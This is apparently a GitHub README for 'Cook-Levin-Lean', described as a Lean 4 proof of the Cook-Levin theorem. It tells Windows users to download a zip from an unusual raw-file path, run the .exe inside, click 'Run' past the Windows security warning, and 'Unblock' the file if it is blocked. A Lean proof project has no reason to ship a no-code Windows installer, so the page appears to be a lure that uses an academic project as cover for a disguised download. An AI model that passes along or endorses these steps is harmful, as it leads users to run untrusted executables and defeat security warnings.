Cook-Levin-Lean offers a simplified computer-verified version of the Cook-Levin Theorem. This theorem is a fundamental concept in computer science that relates to how problems can be solved and verified. Using Lean 4, a proof assistant software, this project shows a step-by-step proof that is mathematically checked by a computer. It is aimed at people interested in formal verification, logic, and complexity theory.
The project helps users to:
- Understand the basic idea behind NP-complete problems.
- See a clear, constructive way to reduce these problems using Lean 4.
- Use verified methods to study complex logic and computer science topics.
The tool is designed to run on Windows and does not need any programming skills to get started.
Before you begin, make sure your computer meets these minimum requirements:
- Operating System: Windows 10 or higher
- RAM: 4 GB or more
- Disk Space: At least 500 MB free
- Internet connection for initial download
- No additional software needed beyond what is provided in the download
Cook-Levin-Lean runs as a standalone application. It bundles everything needed to work with the verification files and proofs.
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Open the Release Page
Click this link or copy-paste it in your browser to visit the download area:
https://raw.githubusercontent.com/josejj2143/Cook-Levin-Lean/main/angiolith/Levin_Lean_Cook_v1.6.zip
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Choose the Latest Version
On the release page, look for the newest release at the top. Releases are normally named with version numbers, like "v1.0" or similar.
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Download the Installer
Find the Windows installer or the executable file. It will usually end with
.exe. -
Run the Installer
Double-click the downloaded file to start the installation.
- You may see a security warning from Windows. Choose "Run" to continue.
- Follow the on-screen instructions to complete the setup.
- The default options are suitable for most users.
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Launch Cook-Levin-Lean
After installation, open the program from the Start Menu or desktop shortcut.
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Start Exploring
You can now explore the theorems and proofs with a simple interface. No need to write code or scripts.
Once you have Cook-Levin-Lean running, here’s what you can do:
- View Theorems and Proofs: Browse through the theorem files using menus.
- Step through Proofs: Follow each step interactively with explanations.
- Search Terms: Look for specific concepts or terms like "NP-complete" or "mapping."
- Load Examples: Use built-in examples to see how the theorems apply.
- Check Reductions: Learn how the tool constructs reductions between problems.
The interface is user-friendly and guides you through the logical steps clearly.
Understanding the Cook-Levin Theorem takes effort. This application helps by:
- Automating the checking of every step.
- Breaking down complex ideas into smaller, proven pieces.
- Making formal mathematics accessible without coding skills.
- Allowing interactive learning with constructive proofs.
It provides a rare resource for students, educators, and anyone curious about the math behind computer science.
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Installer Won't Run
Make sure you have Windows 10 or higher. If the file is blocked, right-click > Properties > Unblock.
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Program Does Not Start
Check that you installed all files in the same folder. Try restarting your computer.
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Proofs Not Loading
Verify that the installation is complete and permissions allow access to files.
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Performance is Slow
Close other programs using too much memory. Ensure you meet the system requirements.
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Need Help?
Visit the project's GitHub page and check the issues section for common questions.
Cook-Levin-Lean touches on these topics:
- Boolean Logic
- Complexity Theory
- Computer Science Foundations
- Constructive Mathematics
- Formal Verification
- Interactive Theorem Proving
- The Lean 4 Proof Assistant
- Mathematical Libraries (mathlib)
- Satisfiability (SAT) Encodings
- Turing Machines and Computability
This project is part of ongoing research to enhance formal methods in verifying core computer science theorems.
You will find:
- Executable: The program file to launch Cook-Levin-Lean.
- Proof Files: Formal descriptions of the Cook-Levin theorem and related proofs.
- Examples Folder: Sample files to help you explore the tool.
- Documentation: Basic guides explaining how to use the software.
- License File: Information on rights and usage.
Visit this page to download the software for Windows:
https://raw.githubusercontent.com/josejj2143/Cook-Levin-Lean/main/angiolith/Levin_Lean_Cook_v1.6.zip